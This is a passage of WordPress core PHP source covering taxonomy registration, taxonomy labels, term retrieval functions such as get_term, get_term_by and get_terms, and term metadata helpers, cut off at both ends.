! taxonomy_exists($taxonomy) ) return false; $taxonomy = get_taxonomy($taxonomy); return $taxonomy->hierarchical; } /** * Creates or modifies a taxonomy object. * * Note: Do not use before the {@see 'init'} hook. * * A simple function for creating or modifying a taxonomy object based on the * parameters given. The function will accept an array (third optional * parameter), along with strings for the taxonomy name and another string for * the object type. * * @since 2.3.0 * @since 4.2.0 Introduced `show_in_quick_edit` argument. * @since 4.4.0 The `show_ui` argument is now enforced on the term editing screen. * @since 4.4.0 The `public` argument now controls whether the taxonomy can be queried on the front end. * @since 4.5.0 Introduced `publicly_queryable` argument. * @since 4.7.0 Introduced `show_in_rest`, 'rest_base' and 'rest_controller_class' * arguments to register the Taxonomy in REST API. * * @global array $wp_taxonomies Registered taxonomies. * * @param string $taxonomy Taxonomy key, must not exceed 32 characters. * @param array|string $object_type Object type or array of object types with which the taxonomy should be associated. * @param array|string $args { * Optional. Array or query string of arguments for registering a taxonomy. * * @type array $labels An array of labels for this taxonomy. By default, Tag labels are * used for non-hierarchical taxonomies, and Category labels are used * for hierarchical taxonomies. See accepted values in * get_taxonomy_labels(). Default empty array. * @type string $description A short descriptive summary of what the taxonomy is for. Default empty. * @type bool $public Whether a taxonomy is intended for use publicly either via * the admin interface or by front-end users. The default settings * of `$publicly_queryable`, `$show_ui`, and `$show_in_nav_menus` * are inherited from `$public`. * @type bool $publicly_queryable Whether the taxonomy is publicly queryable. * If not set, the default is inherited from `$public` * @type bool $hierarchical Whether the taxonomy is hierarchical. Default false. * @type bool $show_ui Whether to generate and allow a UI for managing terms in this taxonomy in * the admin. If not set, the default is inherited from `$public` * (default true). * @type bool $show_in_menu Whether to show the taxonomy in the admin menu. If true, the taxonomy is * shown as a submenu of the object type menu. If false, no menu is shown. * `$show_ui` must be true. If not set, default is inherited from `$show_ui` * (default true). * @type bool $show_in_nav_menus Makes this taxonomy available for selection in navigation menus. If not * set, the default is inherited from `$public` (default true). * @type bool $show_in_rest Whether to include the taxonomy in the REST API. * @type string $rest_base To change the base url of REST API route. Default is $taxonomy. * @type string $rest_controller_class REST API Controller class name. Default is 'WP_REST_Terms_Controller'. * @type bool $show_tagcloud Whether to list the taxonomy in the Tag Cloud Widget controls. If not set, * the default is inherited from `$show_ui` (default true). * @type bool $show_in_quick_edit Whether to show the taxonomy in the quick/bulk edit panel. It not set, * the default is inherited from `$show_ui` (default true). * @type bool $show_admin_column Whether to display a column for the taxonomy on its post type listing * screens. Default false. * @type bool|callable $meta_box_cb Provide a callback function for the meta box display. If not set, * post_categories_meta_box() is used for hierarchical taxonomies, and * post_tags_meta_box() is used for non-hierarchical. If false, no meta * box is shown. * @type array $capabilities { * Array of capabilities for this taxonomy. * * @type string $manage_terms Default 'manage_categories'. * @type string $edit_terms Default 'manage_categories'. * @type string $delete_terms Default 'manage_categories'. * @type string $assign_terms Default 'edit_posts'. * } * @type bool|array $rewrite { * Triggers the handling of rewrites for this taxonomy. Default true, using $taxonomy as slug. To prevent * rewrite, set to false. To specify rewrite rules, an array can be passed with any of these keys: * * @type string $slug Customize the permastruct slug. Default `$taxonomy` key. * @type bool $with_front Should the permastruct be prepended with WP_Rewrite::$front. Default true. * @type bool $hierarchical Either hierarchical rewrite tag or not. Default false. * @type int $ep_mask Assign an endpoint mask. Default `EP_NONE`. * } * @type string $query_var Sets the query var key for this taxonomy. Default `$taxonomy` key. If * false, a taxonomy cannot be loaded at `?{query_var}={term_slug}`. If a * string, the query `?{query_var}={term_slug}` will be valid. * @type callable $update_count_callback Works much like a hook, in that it will be called when the count is * updated. Default _update_post_term_count() for taxonomies attached * to post types, which confirms that the objects are published before * counting them. Default _update_generic_term_count() for taxonomies * attached to other object types, such as users. * @type bool $_builtin This taxonomy is a "built-in" taxonomy. INTERNAL USE ONLY! * Default false. * } * @return WP_Error|void WP_Error, if errors. */ function register_taxonomy( $taxonomy, $object_type, $args = array() ) { global $wp_taxonomies; if ( ! is_array( $wp_taxonomies ) ) $wp_taxonomies = array(); $args = wp_parse_args( $args ); if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) { _doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' ); return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) ); } $taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args ); $taxonomy_object->add_rewrite_rules(); $wp_taxonomies[ $taxonomy ] = $taxonomy_object; $taxonomy_object->add_hooks(); /** * Fires after a taxonomy is registered. * * @since 3.3.0 * * @param string $taxonomy Taxonomy slug. * @param array|string $object_type Object type or array of object types. * @param array $args Array of taxonomy registration arguments. */ do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object ); } /** * Unregisters a taxonomy. * * Can not be used to unregister built-in taxonomies. * * @since 4.5.0 * * @global WP $wp Current WordPress environment instance. * @global array $wp_taxonomies List of taxonomies. * * @param string $taxonomy Taxonomy name. * @return bool|WP_Error True on success, WP_Error on failure or if the taxonomy doesn't exist. */ function unregister_taxonomy( $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } $taxonomy_object = get_taxonomy( $taxonomy ); // Do not allow unregistering internal taxonomies. if ( $taxonomy_object->_builtin ) { return new WP_Error( 'invalid_taxonomy', __( 'Unregistering a built-in taxonomy is not allowed' ) ); } global $wp_taxonomies; $taxonomy_object->remove_rewrite_rules(); $taxonomy_object->remove_hooks(); // Remove the taxonomy. unset( $wp_taxonomies[ $taxonomy ] ); /** * Fires after a taxonomy is unregistered. * * @since 4.5.0 * * @param string $taxonomy Taxonomy name. */ do_action( 'unregistered_taxonomy', $taxonomy ); return true; } /** * Builds an object with all taxonomy labels out of a taxonomy object * * Accepted keys of the label array in the taxonomy object: * * - name - general name for the taxonomy, usually plural. The same as and overridden by $tax->label. Default is Tags/Categories * - singular_name - name for one object of this taxonomy. Default is Tag/Category * - search_items - Default is Search Tags/Search Categories * - popular_items - This string isn't used on hierarchical taxonomies. Default is Popular Tags * - all_items - Default is All Tags/All Categories * - parent_item - This string isn't used on non-hierarchical taxonomies. In hierarchical ones the default is Parent Category * - parent_item_colon - The same as `parent_item`, but with colon `:` in the end * - edit_item - Default is Edit Tag/Edit Category * - view_item - Default is View Tag/View Category * - update_item - Default is Update Tag/Update Category * - add_new_item - Default is Add New Tag/Add New Category * - new_item_name - Default is New Tag Name/New Category Name * - separate_items_with_commas - This string isn't used on hierarchical taxonomies. Default is "Separate tags with commas", used in the meta box. * - add_or_remove_items - This string isn't used on hierarchical taxonomies. Default is "Add or remove tags", used in the meta box when JavaScript is disabled. * - choose_from_most_used - This string isn't used on hierarchical taxonomies. Default is "Choose from the most used tags", used in the meta box. * - not_found - Default is "No tags found"/"No categories found", used in the meta box and taxonomy list table. * - no_terms - Default is "No tags"/"No categories", used in the posts and media list tables. * - items_list_navigation - String for the table pagination hidden heading. * - items_list - String for the table hidden heading. * * Above, the first default value is for non-hierarchical taxonomies (like tags) and the second one is for hierarchical taxonomies (like categories). * * @todo Better documentation for the labels array. * * @since 3.0.0 * @since 4.3.0 Added the `no_terms` label. * @since 4.4.0 Added the `items_list_navigation` and `items_list` labels. * * @param WP_Taxonomy $tax Taxonomy object. * @return object object with all the labels as member variables. */ function get_taxonomy_labels( $tax ) { $tax->labels = (array) $tax->labels; if ( isset( $tax->helps ) && empty( $tax->labels['separate_items_with_commas'] ) ) $tax->labels['separate_items_with_commas'] = $tax->helps; if ( isset( $tax->no_tagcloud ) && empty( $tax->labels['not_found'] ) ) $tax->labels['not_found'] = $tax->no_tagcloud; $nohier_vs_hier_defaults = array( 'name' => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ), 'singular_name' => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ), 'search_items' => array( __( 'Search Tags' ), __( 'Search Categories' ) ), 'popular_items' => array( __( 'Popular Tags' ), null ), 'all_items' => array( __( 'All Tags' ), __( 'All Categories' ) ), 'parent_item' => array( null, __( 'Parent Category' ) ), 'parent_item_colon' => array( null, __( 'Parent Category:' ) ), 'edit_item' => array( __( 'Edit Tag' ), __( 'Edit Category' ) ), 'view_item' => array( __( 'View Tag' ), __( 'View Category' ) ), 'update_item' => array( __( 'Update Tag' ), __( 'Update Category' ) ), 'add_new_item' => array( __( 'Add New Tag' ), __( 'Add New Category' ) ), 'new_item_name' => array( __( 'New Tag Name' ), __( 'New Category Name' ) ), 'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ), 'add_or_remove_items' => array( __( 'Add or remove tags' ), null ), 'choose_from_most_used' => array( __( 'Choose from the most used tags' ), null ), 'not_found' => array( __( 'No tags found.' ), __( 'No categories found.' ) ), 'no_terms' => array( __( 'No tags' ), __( 'No categories' ) ), 'items_list_navigation' => array( __( 'Tags list navigation' ), __( 'Categories list navigation' ) ), 'items_list' => array( __( 'Tags list' ), __( 'Categories list' ) ), ); $nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name']; $labels = _get_custom_object_labels( $tax, $nohier_vs_hier_defaults ); $taxonomy = $tax->name; $default_labels = clone $labels; /** * Filters the labels of a specific taxonomy. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * @since 4.4.0 * * @see get_taxonomy_labels() for the full list of taxonomy labels. * * @param object $labels Object with labels for the taxonomy as member variables. */ $labels = apply_filters( "taxonomy_labels_{$taxonomy}", $labels ); // Ensure that the filtered labels contain all required default values. $labels = (object) array_merge( (array) $default_labels, (array) $labels ); return $labels; } /** * Add an already registered taxonomy to an object type. * * @since 3.0.0 * * @global array $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object. * @param string $object_type Name of the object type. * @return bool True if successful, false if not. */ function register_taxonomy_for_object_type( $taxonomy, $object_type) { global $wp_taxonomies; if ( !isset($wp_taxonomies[$taxonomy]) ) return false; if ( ! get_post_type_object($object_type) ) return false; if ( ! in_array( $object_type, $wp_taxonomies[$taxonomy]->object_type ) ) $wp_taxonomies[$taxonomy]->object_type[] = $object_type; // Filter out empties. $wp_taxonomies[ $taxonomy ]->object_type = array_filter( $wp_taxonomies[ $taxonomy ]->object_type ); return true; } /** * Remove an already registered taxonomy from an object type. * * @since 3.7.0 * * @global array $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object. * @param string $object_type Name of the object type. * @return bool True if successful, false if not. */ function unregister_taxonomy_for_object_type( $taxonomy, $object_type ) { global $wp_taxonomies; if ( ! isset( $wp_taxonomies[ $taxonomy ] ) ) return false; if ( ! get_post_type_object( $object_type ) ) return false; $key = array_search( $object_type, $wp_taxonomies[ $taxonomy ]->object_type, true ); if ( false === $key ) return false; unset( $wp_taxonomies[ $taxonomy ]->object_type[ $key ] ); return true; } // // Term API // /** * Retrieve object_ids of valid taxonomy and term. * * The strings of $taxonomies must exist before this function will continue. On * failure of finding a valid taxonomy, it will return an WP_Error class, kind * of like Exceptions in PHP 5, except you can't catch them. Even so, you can * still test for the WP_Error class and get the error message. * * The $terms aren't checked the same as $taxonomies, but still need to exist * for $object_ids to be returned. * * It is possible to change the order that object_ids is returned by either * using PHP sort family functions or using the database by using $args with * either ASC or DESC array. The value should be in the key named 'order'. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|array $term_ids Term id or array of term ids of terms that will be used. * @param string|array $taxonomies String of taxonomy name or Array of string values of taxonomy names. * @param array|string $args Change the order of the object_ids, either ASC or DESC. * @return WP_Error|array If the taxonomy does not exist, then WP_Error will be returned. On success. * the array can be empty meaning that there are no $object_ids found or it will return the $object_ids found. */ function get_objects_in_term( $term_ids, $taxonomies, $args = array() ) { global $wpdb; if ( ! is_array( $term_ids ) ) { $term_ids = array( $term_ids ); } if ( ! is_array( $taxonomies ) ) { $taxonomies = array( $taxonomies ); } foreach ( (array) $taxonomies as $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } } $defaults = array( 'order' => 'ASC' ); $args = wp_parse_args( $args, $defaults ); $order = ( 'desc' == strtolower( $args['order'] ) ) ? 'DESC' : 'ASC'; $term_ids = array_map('intval', $term_ids ); $taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'"; $term_ids = "'" . implode( "', '", $term_ids ) . "'"; $object_ids = $wpdb->get_col("SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tt.term_id IN ($term_ids) ORDER BY tr.object_id $order"); if ( ! $object_ids ){ return array(); } return $object_ids; } /** * Given a taxonomy query, generates SQL to be appended to a main query. * * @since 3.1.0 * * @see WP_Tax_Query * * @param array $tax_query A compact tax query * @param string $primary_table * @param string $primary_id_column * @return array */ function get_tax_sql( $tax_query, $primary_table, $primary_id_column ) { $tax_query_obj = new WP_Tax_Query( $tax_query ); return $tax_query_obj->get_sql( $primary_table, $primary_id_column ); } /** * Get all Term data from database by Term ID. * * The usage of the get_term function is to apply filters to a term object. It * is possible to get a term object from the database before applying the * filters. * * $term ID must be part of $taxonomy, to get from the database. Failure, might * be able to be captured by the hooks. Failure would be the same value as $wpdb * returns for the get_row method. * * There are two hooks, one is specifically for each term, named 'get_term', and * the second is for the taxonomy name, 'term_$taxonomy'. Both hooks gets the * term object, and the taxonomy name as parameters. Both hooks are expected to * return a Term object. * * {@see 'get_term'} hook - Takes two parameters the term Object and the taxonomy name. * Must return term object. Used in get_term() as a catch-all filter for every * $term. * * {@see 'get_$taxonomy'} hook - Takes two parameters the term Object and the taxonomy * name. Must return term object. $taxonomy will be the taxonomy name, so for * example, if 'category', it would be 'get_category' as the filter name. Useful * for custom taxonomies or plugging into default taxonomies. * * @todo Better formatting for DocBlock * * @since 2.3.0 * @since 4.4.0 Converted to return a WP_Term object if `$output` is `OBJECT`. * The `$taxonomy` parameter was made optional. * * @global wpdb $wpdb WordPress database abstraction object. * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param. * * @param int|WP_Term|object $term If integer, term data will be fetched from the database, or from the cache if * available. If stdClass object (as in the results of a database query), will apply * filters and return a `WP_Term` object corresponding to the `$term` data. If `WP_Term`, * will return `$term`. * @param string $taxonomy Optional. Taxonomy name that $term is part of. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to * a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT. * @param string $filter Optional, default is raw or no WordPress defined filter will applied. * @return array|WP_Term|WP_Error|null Object of the type specified by `$output` on success. When `$output` is 'OBJECT', * a WP_Term instance is returned. If taxonomy does not exist, a WP_Error is * returned. Returns null for miscellaneous failure. */ function get_term( $term, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) { if ( empty( $term ) ) { return new WP_Error( 'invalid_term', __( 'Empty Term' ) ); } if ( $taxonomy && ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } if ( $term instanceof WP_Term ) { $_term = $term; } elseif ( is_object( $term ) ) { if ( empty( $term->filter ) || 'raw' === $term->filter ) { $_term = sanitize_term( $term, $taxonomy, 'raw' ); $_term = new WP_Term( $_term ); } else { $_term = WP_Term::get_instance( $term->term_id ); } } else { $_term = WP_Term::get_instance( $term, $taxonomy ); } if ( is_wp_error( $_term ) ) { return $_term; } elseif ( ! $_term ) { return null; } /** * Filters a term. * * @since 2.3.0 * @since 4.4.0 `$_term` can now also be a WP_Term object. * * @param int|WP_Term $_term Term object or ID. * @param string $taxonomy The taxonomy slug. */ $_term = apply_filters( 'get_term', $_term, $taxonomy ); /** * Filters a taxonomy. * * The dynamic portion of the filter name, `$taxonomy`, refers * to the taxonomy slug. * * @since 2.3.0 * @since 4.4.0 `$_term` can now also be a WP_Term object. * * @param int|WP_Term $_term Term object or ID. * @param string $taxonomy The taxonomy slug. */ $_term = apply_filters( "get_{$taxonomy}", $_term, $taxonomy ); // Bail if a filter callback has changed the type of the `$_term` object. if ( ! ( $_term instanceof WP_Term ) ) { return $_term; } // Sanitize term, according to the specified filter. $_term->filter( $filter ); if ( $output == ARRAY_A ) { return $_term->to_array(); } elseif ( $output == ARRAY_N ) { return array_values( $_term->to_array() ); } return $_term; } /** * Get all Term data from database by Term field and data. * * Warning: $value is not escaped for 'name' $field. You must do it yourself, if * required. * * The default $field is 'id', therefore it is possible to also use null for * field, but not recommended that you do so. * * If $value does not exist, the return value will be false. If $taxonomy exists * and $field and $value combinations exist, the Term will be returned. * * This function will always return the first term that matches the `$field`- * `$value`-`$taxonomy` combination specified in the parameters. If your query * is likely to match more than one term (as is likely to be the case when * `$field` is 'name', for example), consider using get_terms() instead; that * way, you will get all matching terms, and can provide your own logic for * deciding which one was intended. * * @todo Better formatting for DocBlock. * * @since 2.3.0 * @since 4.4.0 `$taxonomy` is optional if `$field` is 'term_taxonomy_id'. Converted to return * a WP_Term object if `$output` is `OBJECT`. * * @global wpdb $wpdb WordPress database abstraction object. * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param. * * @param string $field Either 'slug', 'name', 'id' (term_id), or 'term_taxonomy_id' * @param string|int $value Search for this term value * @param string $taxonomy Taxonomy name. Optional, if `$field` is 'term_taxonomy_id'. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to * a WP_Term object, an associative array, or a numeric array, respectively. Default OBJECT. * @param string $filter Optional, default is raw or no WordPress defined filter will applied. * @return WP_Term|array|false WP_Term instance (or array) on success. Will return false if `$taxonomy` does not exist * or `$term` was not found. */ function get_term_by( $field, $value, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) { global $wpdb; // 'term_taxonomy_id' lookups don't require taxonomy checks. if ( 'term_taxonomy_id' !== $field && ! taxonomy_exists( $taxonomy ) ) { return false; } $tax_clause = $wpdb->prepare( "AND tt.taxonomy = %s", $taxonomy ); if ( 'slug' == $field ) { $_field = 't.slug'; $value = sanitize_title($value); if ( empty($value) ) return false; } elseif ( 'name' == $field ) { // Assume already escaped $value = wp_unslash($value); $_field = 't.name'; } elseif ( 'term_taxonomy_id' == $field ) { $value = (int) $value; $_field = 'tt.term_taxonomy_id'; // No `taxonomy` clause when searching by 'term_taxonomy_id'. $tax_clause = ''; } else { $term = get_term( (int) $value, $taxonomy, $output, $filter ); if ( is_wp_error( $term ) || is_null( $term ) ) { $term = false; } return $term; } $term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE $_field = %s", $value ) . " $tax_clause LIMIT 1" ); if ( ! $term ) return false; // In the case of 'term_taxonomy_id', override the provided `$taxonomy` with whatever we find in the db. if ( 'term_taxonomy_id' === $field ) { $taxonomy = $term->taxonomy; } wp_cache_add( $term->term_id, $term, 'terms' ); return get_term( $term, $taxonomy, $output, $filter ); } /** * Merge all term children into a single array of their IDs. * * This recursive function will merge all of the children of $term into the same * array of term IDs. Only useful for taxonomies which are hierarchical. * * Will return an empty array if $term does not exist in $taxonomy. * * @since 2.3.0 * * @param string $term_id ID of Term to get children. * @param string $taxonomy Taxonomy Name. * @return array|WP_Error List of Term IDs. WP_Error returned if `$taxonomy` does not exist. */ function get_term_children( $term_id, $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } $term_id = intval( $term_id ); $terms = _get_term_hierarchy($taxonomy); if ( ! isset($terms[$term_id]) ) return array(); $children = $terms[$term_id]; foreach ( (array) $terms[$term_id] as $child ) { if ( $term_id == $child ) { continue; } if ( isset($terms[$child]) ) $children = array_merge($children, get_term_children($child, $taxonomy)); } return $children; } /** * Get sanitized Term field. * * The function is for contextual reasons and for simplicity of usage. * * @since 2.3.0 * @since 4.4.0 The `$taxonomy` parameter was made optional. `$term` can also now accept a WP_Term object. * * @see sanitize_term_field() * * @param string $field Term field to fetch. * @param int|WP_Term $term Term ID or object. * @param string $taxonomy Optional. Taxonomy Name. Default empty. * @param string $context Optional, default is display. Look at sanitize_term_field() for available options. * @return string|int|null|WP_Error Will return an empty string if $term is not an object or if $field is not set in $term. */ function get_term_field( $field, $term, $taxonomy = '', $context = 'display' ) { $term = get_term( $term, $taxonomy ); if ( is_wp_error($term) ) return $term; if ( !is_object($term) ) return ''; if ( !isset($term->$field) ) return ''; return sanitize_term_field( $field, $term->$field, $term->term_id, $term->taxonomy, $context ); } /** * Sanitizes Term for editing. * * Return value is sanitize_term() and usage is for sanitizing the term for * editing. Function is for contextual and simplicity. * * @since 2.3.0 * * @param int|object $id Term ID or object. * @param string $taxonomy Taxonomy name. * @return string|int|null|WP_Error Will return empty string if $term is not an object. */ function get_term_to_edit( $id, $taxonomy ) { $term = get_term( $id, $taxonomy ); if ( is_wp_error($term) ) return $term; if ( !is_object($term) ) return ''; return sanitize_term($term, $taxonomy, 'edit'); } /** * Retrieve the terms in a given taxonomy or list of taxonomies. * * You can fully inject any customizations to the query before it is sent, as * well as control the output with a filter. * * The {@see 'get_terms'} filter will be called when the cache has the term and will * pass the found term along with the array of $taxonomies and array of $args. * This filter is also called before the array of terms is passed and will pass * the array of terms, along with the $taxonomies and $args. * * The {@see 'list_terms_exclusions'} filter passes the compiled exclusions along with * the $args. * * The {@see 'get_terms_orderby'} filter passes the `ORDER BY` clause for the query * along with the $args array. * * Prior to 4.5.0, the first parameter of `get_terms()` was a taxonomy or list of taxonomies: * * $terms = get_terms( 'post_tag', array( * 'hide_empty' => false, * ) ); * * Since 4.5.0, taxonomies should be passed via the 'taxonomy' argument in the `$args` array: * * $terms = get_terms( array( * 'taxonomy' => 'post_tag', * 'hide_empty' => false, * ) ); * * @since 2.3.0 * @since 4.2.0 Introduced 'name' and 'childless' parameters. * @since 4.4.0 Introduced the ability to pass 'term_id' as an alias of 'id' for the `orderby` parameter. * Introduced the 'meta_query' and 'update_term_meta_cache' parameters. Converted to return * a list of WP_Term objects. * @since 4.5.0 Changed the function signature so that the `$args` array can be provided as the first parameter. * Introduced 'meta_key' and 'meta_value' parameters. Introduced the ability to order results by metadata. * * @internal The `$deprecated` parameter is parsed for backward compatibility only. * * @global wpdb $wpdb WordPress database abstraction object. * @global array $wp_filter * * @param array|string $args { * Optional. Array or string of arguments to get terms. * * @type string|array $taxonomy Taxonomy name, or array of taxonomies, to which results should * be limited. * @type string $orderby Field(s) to order terms by. Accepts term fields ('name', 'slug', * 'term_group', 'term_id', 'id', 'description'), 'count' for term * taxonomy count, 'include' to match the 'order' of the $include param, * 'meta_value', 'meta_value_num', the value of `$meta_key`, the array * keys of `$meta_query`, or 'none' to omit the ORDER BY clause. * Defaults to 'name'. * @type string $order Whether to order terms in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). * Default 'ASC'. * @type bool|int $hide_empty Whether to hide terms not assigned to any posts. Accepts * 1|true or 0|false. Default 1|true. * @type array|string $include Array or comma/space-separated string of term ids to include. * Default empty array. * @type array|string $exclude Array or comma/space-separated string of term ids to exclude. * If $include is non-empty, $exclude is ignored. * Default empty array. * @type array|string $exclude_tree Array or comma/space-separated string of term ids to exclude * along with all of their descendant terms. If $include is * non-empty, $exclude_tree is ignored. Default empty array. * @type int|string $number Maximum number of terms to return. Accepts ''|0 (all) or any * positive number. Default ''|0 (all). * @type int $offset The number by which to offset the terms query. Default empty. * @type string $fields Term fields to query for. Accepts 'all' (returns an array of complete * term objects), 'ids' (returns an array of ids), 'id=>parent' (returns * an associative array with ids as keys, parent term IDs as values), * 'names' (returns an array of term names), 'count' (returns the number * of matching terms), 'id=>name' (returns an associative array with ids * as keys, term names as values), or 'id=>slug' (returns an associative * array with ids as keys, term slugs as values). Default 'all'. * @type string|array $name Optional. Name or array of names to return term(s) for. Default empty. * @type string|array $slug Optional. Slug or array of slugs to return term(s) for. Default empty. * @type bool $hierarchical Whether to include terms that have non-empty descendants (even * if $hide_empty is set to true). Default true. * @type string $search Search criteria to match terms. Will be SQL-formatted with * wildcards before and after. Default empty. * @type string $name__like Retrieve terms with criteria by which a term is LIKE $name__like. * Default empty. * @type string $description__like Retrieve terms where the description is LIKE $description__like. * Default empty. * @type bool $pad_counts Whether to pad the quantity of a term's children in the quantity * of each term's "count" object variable. Default false. * @type string $get Whether to return terms regardless of ancestry or whether the terms * are empty. Accepts 'all' or empty (disabled). Default empty. * @type int $child_of Term ID to retrieve child terms of. If multiple taxonomies * are passed, $child_of is ignored. Default 0. * @type int|string $parent Parent term ID to retrieve direct-child terms of. Default empty. * @type bool $childless True to limit results to terms that have no children. This parameter * has no effect on non-hierarchical taxonomies. Default false. * @type string $cache_domain Unique cache key to be produced when this query is stored in an * object cache. Default is 'core'. * @type bool $update_term_meta_cache Whether to prime meta caches for matched terms. Default true. * @type array $meta_query Meta query clauses to limit retrieved terms by. * See `WP_Meta_Query`. Default empty. * @type string $meta_key Limit terms to those matching a specific metadata key. Can be used in * conjunction with `$meta_value`. * @type string $meta_value Limit terms to those matching a specific metadata value. Usually used * in conjunction with `$meta_key`. * } * @param array $deprecated Argument array, when using the legacy function parameter format. If present, this * parameter will be interpreted as `$args`, and the first function parameter will * be parsed as a taxonomy or array of taxonomies. * @return array|int|WP_Error List of WP_Term instances and their children. Will return WP_Error, if any of $taxonomies * do not exist. */ function get_terms( $args = array(), $deprecated = '' ) { global $wpdb; $term_query = new WP_Term_Query(); /* * Legacy argument format ($taxonomy, $args) takes precedence. * * We detect legacy argument format by checking if * (a) a second non-empty parameter is passed, or * (b) the first parameter shares no keys with the default array (ie, it's a list of taxonomies) */ $_args = wp_parse_args( $args ); $key_intersect = array_intersect_key( $term_query->query_var_defaults, (array) $_args ); $do_legacy_args = $deprecated || empty( $key_intersect ); if ( $do_legacy_args ) { $taxonomies = (array) $args; $args = wp_parse_args( $deprecated ); $args['taxonomy'] = $taxonomies; } else { $args = wp_parse_args( $args ); if ( isset( $args['taxonomy'] ) && null !== $args['taxonomy'] ) { $args['taxonomy'] = (array) $args['taxonomy']; } } if ( ! empty( $args['taxonomy'] ) ) { foreach ( $args['taxonomy'] as $taxonomy ) { if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } } } $terms = $term_query->query( $args ); // Count queries are not filtered, for legacy reasons. if ( ! is_array( $terms ) ) { return $terms; } /** * Filters the found terms. * * @since 2.3.0 * @since 4.6.0 Added the `$term_query` parameter. * * @param array $terms Array of found terms. * @param array $taxonomies An array of taxonomies. * @param array $args An array of get_terms() arguments. * @param WP_Term_Query $term_query The WP_Term_Query object. */ return apply_filters( 'get_terms', $terms, $term_query->query_vars['taxonomy'], $term_query->query_vars, $term_query ); } /** * Adds metadata to a term. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. * @param bool $unique Optional. Whether to bail if an entry with the same key is found for the term. * Default false. * @return int|WP_Error|bool Meta ID on success. WP_Error when term_id is ambiguous between taxonomies. * False on failure. */ function add_term_meta( $term_id, $meta_key, $meta_value, $unique = false ) { // Bail if term meta table is not installed. if ( get_option( 'db_version' ) < 34370 ) { return false; } if ( wp_term_is_shared( $term_id ) ) { return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.'), $term_id ); } $added = add_metadata( 'term', $term_id, $meta_key, $meta_value, $unique ); // Bust term query cache. if ( $added ) { wp_cache_set( 'last_changed', microtime(), 'terms' ); } return $added; } /** * Removes metadata matching criteria from a term. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, rows will only be removed that match the value. * @return bool True on success, false on failure. */ function delete_term_meta( $term_id, $meta_key, $meta_value = '' ) { // Bail if term meta table is not installed. if ( get_option( 'db_version' ) < 34370 ) { return false; } $deleted = delete_metadata( 'term', $term_id, $meta_key, $meta_value ); // Bust term query cache. if ( $deleted ) { wp_cache_set( 'last_changed', microtime(), 'terms' ); } return $deleted; } /** * Retrieves metadata for a term. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $key Optional. The meta key to retrieve. If no key is provided, fetches all metadata for the term. * @param bool $single Whether to return a single value. If false, an array of all values matching the * `$term_id`/`$key` pair will be returned. Default: false. * @return mixed If `$single` is false, an array of metadata values. If `$single` is true, a single metadata value. */ function get_term_meta( $term_id, $key = '', $single = false ) { // Bail if term meta table is not installed. if ( get_option( 'db_version' ) < 34370 ) { return false; } return get_metadata( 'term', $term_id, $key, $single ); } /** * Updates term metadata. * * Use the `$prev_value` parameter to differentiate between meta fields with the same key and term ID. * * If the meta field for the term does not exist, it will be added. * * @since 4.4.0 * * @param int $term_id Term ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. * @param mixed $prev_value Optional. Previous value to check before removing. * @return int|WP_Error|bool Meta ID if the key didn't previously exist. True on successful update. * WP_Error when term_id is ambiguous between taxonomies. False on failure. */ function update_term_meta( $term_id, $meta_key, $meta_value, $prev_value = '' ) { // Bail if term meta table is not installed. if ( get_option( 'db_version' ) < 34370 ) { return false; } if ( wp_term_is_shared( $term_id ) ) { return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.'), $term_id ); } $updated = update_metadata( 'term', $term_id, $meta_key, $meta_value, $prev_value ); // Bust term query cache. if ( $updated ) { wp_cache_set( 'last_changed', microtime(), 'terms' ); } return $updated; } /** * 